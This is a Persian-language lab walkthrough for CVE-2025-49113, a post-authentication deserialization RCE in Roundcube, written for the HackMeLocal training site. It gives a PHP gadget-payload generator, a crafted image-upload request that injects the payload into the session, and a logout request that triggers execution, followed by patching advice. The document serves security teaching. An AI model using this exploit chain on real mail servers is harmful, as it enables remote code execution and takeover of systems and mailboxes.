راهنمای عملی اکسپلویت Roundcube (CVE-2025-49113) در آزمایشگاه HackMeLocal
در این چالش، به صورت گام به گام یکی از آسیبپذیریهای جذاب و بحرانی وبمیل Roundcube را تحلیل و اجرا میکنیم. آسیبپذیری CVE-2025-49113 یک ضعف از نوع Post-Auth RCE است که به مهاجم اجازه میدهد پس از ورود به حساب کاربری، با دستکاری هوشمندانه سشن (Session)، کد دلخواه خود را روی سرور اجرا کند. هدف ما در این آزمایشگاه، بازسازی دستی این حمله با استفاده از ابزارهای استاندارد تست نفوذ است.
هدف چالش (Goal): اجرای یک دستور بر روی سرور هدف (مثلاً whoami
) از طریق بهرهبرداری از آسیبپذیری PHP Object Deserialization پس از ورود به پنل Roundcube در آزمایشگاه hackmelocal.com.
ابزارهای مورد نیاز (Tools Needed)
- مرورگر وب
- نرمافزار Burp Suite برای رهگیری و دستکاری درخواستها
- دسترسی به یک حساب کاربری معتبر در Roundcube آزمایشگاه
- یک مفسر PHP محلی (برای ساخت Payload)
مراحل انجام چالش (Walkthrough)
فرآیند حمله شامل چهار مرحله اصلی است: احراز هویت، ساخت Payload، تزریق و در نهایت، فعالسازی. بیایید این مراحل را با هم طی کنیم.
مرحله 1: ورود به سیستم و ضبط درخواستها
ابتدا Burp Suite را اجرا کرده و آن را به عنوان پراکسی مرورگر خود تنظیم کنید. سپس وارد حساب کاربری خود در Roundcube شوید. در تب Proxy > HTTP history در Burp، درخواست POST
مربوط به لاگین را پیدا کنید. این درخواست حاوی توکن CSRF (با نام _token
) و کوکی سشن اولیه است. کوکی احراز هویت شده نهایی را از پاسخهای بعدی (که معمولاً با کد 302
همراه است) استخراج کنید. این کوکی برای تمام مراحل بعدی ضروری است.

مرحله 2: ساخت Payload مخرب (Crafting the Malicious Payload)
این مهمترین بخش حمله است. ما باید یک آبجکت PHP بسازیم، آن را سریالایز کنیم و سپس آن را برای تزریق آماده کنیم. گجت مورد استفاده ما کلاس Crypt_GPG_Engine
است.
یک فایل PHP با نام generate_payload.php
روی سیستم خود ایجاد کرده و کد زیر را در آن قرار دهید:
<?php
class Crypt_GPG_Engine {
private $_gpgconf;
public function __construct($cmd) {
$this->_gpgconf = $cmd . ';#';
}
}
$command = 'id > /tmp/pwned.txt';
$serialized_object = serialize(new Crypt_GPG_Engine($command));
echo "Your Serialized Payload:\n";
echo $serialized_object;
echo "\n";
این اسکریپت را از طریق ترمینال اجرا کنید:
php generate_payload.php
خروجی یک رشته سریالایز شده خواهد بود. این رشته را کپی کنید؛ در مرحله بعد به آن نیاز داریم.
مرحله 3: تزریق Payload با Session Corruption
حالا باید Payload ساخته شده را به سرور تزریق کنیم. این کار از طریق بخش آپلود تصویر در تنظیمات هویت (Identities) انجام میشود. ما یک درخواست POST
دستکاری شده را با استفاده از Burp Repeater ارسال میکنیم.
یک درخواست آپلود تصویر معمولی را در Burp رهگیری کرده و آن را به Repeater بفرستید. سپس درخواست را مطابق الگوی زیر ویرایش کنید:
- ویرایش URL: پارامتر
_from
را طوری تغییر دهید که باedit-!
شروع شود و بخشی از Payload ما را در خود جای دهد. - ویرایش Body: درخواست را به نوع
multipart/form-data
تغییر دهید. در بخشfilename
، بخش دیگری از Payload را قرار دهید.
ساختار نهایی درخواست شما در Burp Repeater باید شبیه به این باشد:
POST /roundcube/?_from=edit-!";i:0;S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:24:"id > /tmp/pwned.txt;#";i:0;b:0;}"}}&_task=settings&_action=upload&_framed=1 HTTP/1.1
Host: hackmelocal.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
...
------WebKitFormBoundary...
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:185:\"a:3:{i:0;s:57:\"[رشته سریالایز شده شما در اینجا]\";i:1;i:1;i:2;i:2;}.png"
Content-Type: image/png
[محتوای یک فایل PNG کوچک]
------WebKitFormBoundary...--
نکته مهم: ساختار دقیق مقادیر _from
و filename
پیچیده است و به طول دستور شما بستگی دارد. منطق اسکریپت اکسپلویت این مقادیر را به صورت پویا محاسبه میکند. برای این چالش، میتوانید از ساختار بالا به عنوان یک الگو استفاده کرده و رشته سریالایز شده خود را در آن جایگذاری کنید. ممکن است نیاز به کمی آزمون و خطا برای تنظیم طول رشته (مقدار s:185
) داشته باشید.

پس از ارسال این درخواست، اگر پاسخ موفقیتآمیز بود، Payload شما در سشن سرور ذخیره شده است.
مرحله 4: فعالسازی و اجرای کد (Triggering)
آخرین مرحله، فعال کردن Payload است. جالب اینجاست که این کار با ارسال یک درخواست خروج از سیستم (Logout) انجام میشود! فرآیند Logout باعث میشود Roundcube دادههای سشن را برای ذخیرهسازی نهایی پردازش کند. در این حین، تابع unserialize()
روی دادههای تزریق شده ما فراخوانی شده و دستور اجرا میشود.
یک درخواست به آدرس زیر در Burp Repeater ارسال کنید (توکن CSRF جدید را از صفحه اصلی دریافت کنید):
GET /roundcube/?_task=logout&_token=[توکن CSRF شما در اینجا] HTTP/1.1
Host: hackmelocal.com
...
پس از ارسال این درخواست، دستور شما باید روی سرور اجرا شده باشد. برای تأیید، میتوانید وجود فایل /tmp/pwned.txt
را بررسی کنید.
راهکار و روش جلوگیری (Prevention)
امنسازی در برابر این نوع حملات نیازمند رویکردی چندلایه است:
- بهروزرسانی فوری: اولین و مهمترین اقدام، آپدیت کردن Roundcube به آخرین نسخه پایدار است.
- اعتبارسنجی سختگیرانه ورودی: هرگز به دادههای ورودی از سمت کاربر، بهویژه در ساختاردهی دادههای حساس مانند سشن، اعتماد نکنید.
- اجتناب از
unserialize()
: تا حد امکان از تابعunserialize()
روی دادههای غیرقابل اعتماد خودداری کرده و از جایگزینهای امنتری مانندjson_decode()
استفاده کنید.
تقدیر و تشکر
تحلیل و ساخت اکسپلویت اولیه برای این آسیبپذیری توسط محقق امنیتی Kirill Firsov از تیم FearsOff انجام شده است. از ایشان بابت به اشتراکگذاری یافتههایشان با جامعه امنیت سایبری قدردانی میکنیم. همچنین از کانال تلگرامی t.me/gotocve بابت تهیه و انتشار این مقاله ارزشمند سپاسگزاریم. برای اطلاعات بیشتر میتوانید به منابع زیر مراجعه کنید:
- نویسنده: Kirill Firsov (@k_firsov on X)
- سازمان: FearsOff (fearsoff.org)
منابع برای درک عمیقتر Deserialization
اگر میخواهید با مفاهیم حملات Deserialization و زنجیرههای گجت (Gadget Chains) بیشتر آشنا شوید، مطالعه منابع زیر را به شدت توصیه میکنیم:
- OWASP: PHP Object Injection - توضیحات فنی در مورد تزریق آبجکت در PHP.
- PHPGGC: A library of PHP Unserialize Gadget Chains - ابزاری فوقالعاده برای پیدا کردن و استفاده از زنجیرههای گجت آماده در برنامههای PHP.
سلب مسئولیت: این چالش صرفاً با اهداف آموزشی و پژوهشی در محیط کنترل شده آزمایشگاه hackmelocal.com طراحی شده است. هرگونه سوءاستفاده از این اطلاعات در سیستمهای واقعی غیرقانونی و غیراخلاقی است.